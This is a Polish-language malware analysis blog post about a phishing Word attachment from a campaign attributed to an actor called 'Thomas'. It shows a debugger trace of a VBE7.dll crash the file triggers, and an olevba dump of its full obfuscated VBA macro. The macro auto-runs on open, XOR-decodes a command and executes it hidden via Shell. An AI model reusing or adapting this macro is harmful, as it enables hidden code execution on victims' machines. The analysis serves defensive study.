Podwójnie “złośliwe” makro VBA

Nieco przydługi wstęp

Przyglądając się kampaniom mailingowym rozsiewającym złośliwe oprogramowanie, z dużą dozą pewności można stwierdzić, że w ponad 70% przypadków złośliwym załącznikiem jest plik pakietu Office – Word lub Excel zawierający makro.

Na przestrzeni ostatnich miesięcy aktor określany jako Thomas jest “głównym graczem” na polskim rynku takiego mailingu – kampanie Play, Alior Bank czy Paczki w RUCHu to tylko wycinek z wykorzystywanych przez niego scenariuszy. Poza scenariuszami mailingu ich autor dba również o techniczną stronę przedsięwzięcia – dokumenty zawierają zaciemnione lub zahasłowane makra, które mają chronić przed analizą lub budową sygnatur (w tym miejscu pominę skuteczność tych metod 😉 ).

Niestety (-stety) narzędzia wykorzystywane przez Thomasa nie są doskonałe – jeden z obfuskatorów Visual Basic w taki sposób zaciemnił kod makra, że przy jego uruchomieniu MS Word 2013 / 2016 ulega awarii z powodu odwołania do nieistniejącego obiektu w pamięci, czyli popularnego błędu null-pointer-dereference.

Screenshot z otwartego pliku w MS Word

Krótka analiza błędu

Załącznik maila (Zamówienie i płatność.doc, SHA1: a7d3025af58ce47189c5b51d36ab52a284642849) powoduje awarię we współdzielonej bibliotece VBE7.dll. Plik ten jest wykorzystywany we wszystkich programach pakietu Office 2013 / 2016 (we wcześniejszych prawdopodobnie też, lecz niestety nie miałem okazji przetestować 😉 ).

W podatnej funkcji (pod adresem 0x18016421C) deweloper biblioteki zapomniał o walidacji struktury przekazywanej do niej [funkcji] w argumencie. Niewłaściwa lub pusta wartość powoduje odwołanie do nieistniejącego miejsca w pamięci (adres w RDI + 0x28h), co widać wyraźnie na poniższym listingu kodu funkcji. Skutkuje to oczywiście awarią całego programu MS Word.

0:000
rax=0000000000000000 rbx=0000000000000000 rcx=00007ffe632758b0
rdx=0000000000000000 rsi=0000000000000001 rdi=0000000000000000
rip=00007ffe62f8f273 rsp=000000ed22f49350 rbp=000000ed22f49370
 r8=0000000000000001  r9=0000000000000000 r10=000000ed2f240150
r11=00007ffe632689f8 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0:000> u @$scopeip
VBE7!DllVbeTerm+0x137c3:
00007ffe`62f8f273 488b4f28        mov     rcx,qword ptr [rdi+28h]
00007ffe`62f8f277 e864e9f3ff      call    VBE7!rtcDoEvents+0x8fc (00007ffe`62ecdbe0)
00007ffe`62f8f27c 85c0            test    eax,eax
00007ffe`62f8f27e 0f8498d60a00    je      VBE7!rtcVarFromFormatVar+0x1010c (00007ffe`6303c91c)
00007ffe`62f8f284 85f6            test    esi,esi
00007ffe`62f8f286 0f85bad70a00    jne     VBE7!rtcVarFromFormatVar+0x10236 (00007ffe`6303ca46)
00007ffe`62f8f28c 488bcf          mov     rcx,rdi
00007ffe`62f8f28f e884e9f3ff      call    VBE7!rtcDoEvents+0x934 (00007ffe`62ecdc18)


**Stacktrace**

00 VBE7!DllVbeTerm+0x137c3
01 VBE7!DllVbeTerm+0xbe04e
02 VBE7!rtcSetCurrentCalendar+0x2dd5f
03 VBE7!rtcInputCharCountVar+0x827a
04 VBE7!rtcInputCharCountVar+0x99f6
05 VBE7!rtcInputCharCountVar+0x8425
06 VBE7!rtcGetHostLCID+0x2a4b
07 VBE7!DllVbeTerm+0x61d71
08 VBE7!GetLongPathNameA+0xc7de
09 VBE7!DllVbeTerm+0x46eaa
0a VBE7!VarPtr+0x416ba
0b VBE7!VarPtr+0x4196b
0c oleaut32!LoadTypeLib+0x33e
0d oleaut32!DispCallFunc+0x26e
0e VBE7!VarPtr+0x1d27a
0f VBE7!VarPtr+0x1b26b
10 VBE7!rtcEndOfFile+0x6443
11 VBE7!rtcEndOfFile+0x6322
12 wwlib!DllCanUnloadNow+0x251a58
13 wwlib!DllCanUnloadNow+0x250d55
14 wwlib!DllCanUnloadNow+0x1354a1
15 wwlib!PTLS7::LsDestroyContext+0x25c726
16 wwlib!DllCanUnloadNow+0x2ef6a
17 wwlib!PTLS7::LsDestroyContext+0x3b39bd
18 wwlib!PTLS7::LsNotReached+0x79be2
19 wwlib!PTLS7::FsDestroyPageBreakRecord+0x246b
1a wwlib!PTLS7::FsDestroyPageBreakRecord+0x22be
1b mso99Lwin32client+0xddb7d
1c mso99Lwin32client+0xddac9
1d mso99Lwin32client+0x47873
1e mso99Lwin32client+0x45f09
1f mso99Lwin32client+0x202da
20 mso99Lwin32client+0x127851
21 mso40uiwin32client!Ordinal177+0x2d4
22 USER32!DispatchMessageW+0x154
23 USER32!ScrollDC+0x1f7
24 wwlib!PTLS7::LsNotReached+0x7bd49
25 wwlib!FMain+0x61
26 WINWORD+0x1230
27 WINWORD+0x1519
28 KERNEL32!BaseThreadInitThunk+0xd
29 ntdll!RtlUserThreadStart+0x1d

Jak rozwiązywać podobne problemy?

Podczas analizy makr (np. pod kątem droppowania malware’u) lub awarii jakie powodują, warto zapoznać się z narzędziem olevba, częścią bardzo użytecznego pakietu oletools.

Poniżej zrzut makr ze złośliwego dokumentu (wraz z fajnym wyjaśnieniem co może być potencjalnie niebezpieczne):

===============================================================================
FILE: Zamówienie i płatność.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub DocUment_OpEn()
If ActiveDocument.Variables("zBItWM").Value <> "tomas" Then
FJQHUgQozaiPBvJ
ActiveDocument.Variables("zBItWM").Value = "tomas"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

-------------------------------------------------------------------------------
VBA MACRO avBsOWK.bin 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/avBsOWK'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function QjrTnnWOcy(wNegMNijCu As Variant, aDdxKnvZPQ As Integer)
Dim BzxQRdyOYL, qDaHzkRvOe As String, EuuPpMnYah, imwtnySfgV
qDaHzkRvOe = ActiveDocument.Variables("zBItWM").Value()
BzxQRdyOYL = ""
EuuPpMnYah = 1
While EuuPpMnYah < UBound(wNegMNijCu) + 2
imwtnySfgV = EuuPpMnYah Mod Len(qDaHzkRvOe): If imwtnySfgV = 0 Then imwtnySfgV = Len(qDaHzkRvOe)
BzxQRdyOYL = BzxQRdyOYL + Chr(Asc(Mid(qDaHzkRvOe, imwtnySfgV + aDdxKnvZPQ, 1)) Xor CInt(wNegMNijCu(EuuPpMnYah - 1)))
EuuPpMnYah = EuuPpMnYah + 1
Wend
QjrTnnWOcy = BzxQRdyOYL
End Function
Function lbf()
lbf = Array(Minute(Now), Minute(Now), Minute(Now), QjrTnnWOcy(Array(0, 30, 46), 9), Minute(Now))
End Function
Function im()
im = Array(QjrTnnWOcy(Array(126, 115, 8), 204), Minute(Now))
End Function
Function fdf()
fdf = Array(Minute(Now), Minute(Now), QjrTnnWOcy(Array(32, 69, 110, 14, 79, 91), 2))
End Function
Function jojo()
gog = QjrTnnWOcy(Array(111, 98, 42, 23, 60, 65, 106, 56, 13, 49, 104, 62, 55, 117, 16, 125, 25, 62, 45, 35, 59, _
55, 111, 28, 36, 110, 98, 2, 61, 40, 57, 21, 97, 36, 28, 10, 61, 40, 2, 52, 80, _
107, 122, 18, 15, 45, 103, 61, 59, 54, 18, 33, 54, 4, 7, 0, 58, 81, 37, 61, 41, _
59, 64, 49, 63, 104, 91, 32, 25, 42, 65, 111, 53, 12, 52, 114, 7, 57, 40, 15, 26, _
20, 4, 32, 102, 127, 14, 10, 21, 45, 22, 31, 57, 61, 24, 10, 25, 28, 14, 49, 15, _
61, 29, 3, 32, 126, 50, 117, 48, 39, 58, 65, 52, 85, 30, 23, 33, 41, 27, 9, 25, _
30, 71, 56, 21, 67, 11, 30, 67, 18, 2, 93, 84, 121, 19, 58, 63, 30, 111, 18, 109, _
50, 7, 52, 84, 51, 31, 44, 116, 127, 11, 41, 41, 86, 92, 53, 82, 20, 26, 4, 42, _
45, 109, 89, 23, 104, 22, 62, 26, 42, 41, 106, 62, 49, 57, 65, 48, 80, 16, 50, 29, _
19, 34, 19, 23, 20, 119, 103, 48, 1, 11, 76), 12)
g1 = QjrTnnWOcy(Array(23, 4, 38, 96, 6, 46, 21, 11, 44, 53, 83, 33, 41, 119, 10, 50, 63, 54, 39, 2, 72, _
98, 36, 62, 42, 44, 23, 7, 1, 33, 43, 59, 23, 101, 17, 57, 0, 104, 24, 57, 7, _
61, 106, 109, 41, 4, 106, 108, 5, 41, 35, 68, 49, 83), 207)
gog3 = QjrTnnWOcy(Array(108), 0)
jojo = g1 & gog & gog3
End Function
Sub FJQHUgQozaiPBvJ()
ymus = VarType(Application.Build)
If ymus = 8 Then
fropi = Array(lbf()(3), im()(0), fdf()(2))
df = Join(fropi, "") & jojo
Dim retv As Variant
retv = Shell(df, vbHide)
End If
End Sub


+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | DocUment_OpEn | Runs when the Word or Publisher         |
|            |               | document is opened                      |
| Suspicious | Chr           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | vbHide        | May run an executable file or a system  |
|            |               | command                                 |
+------------+---------------+-----------------------------------------+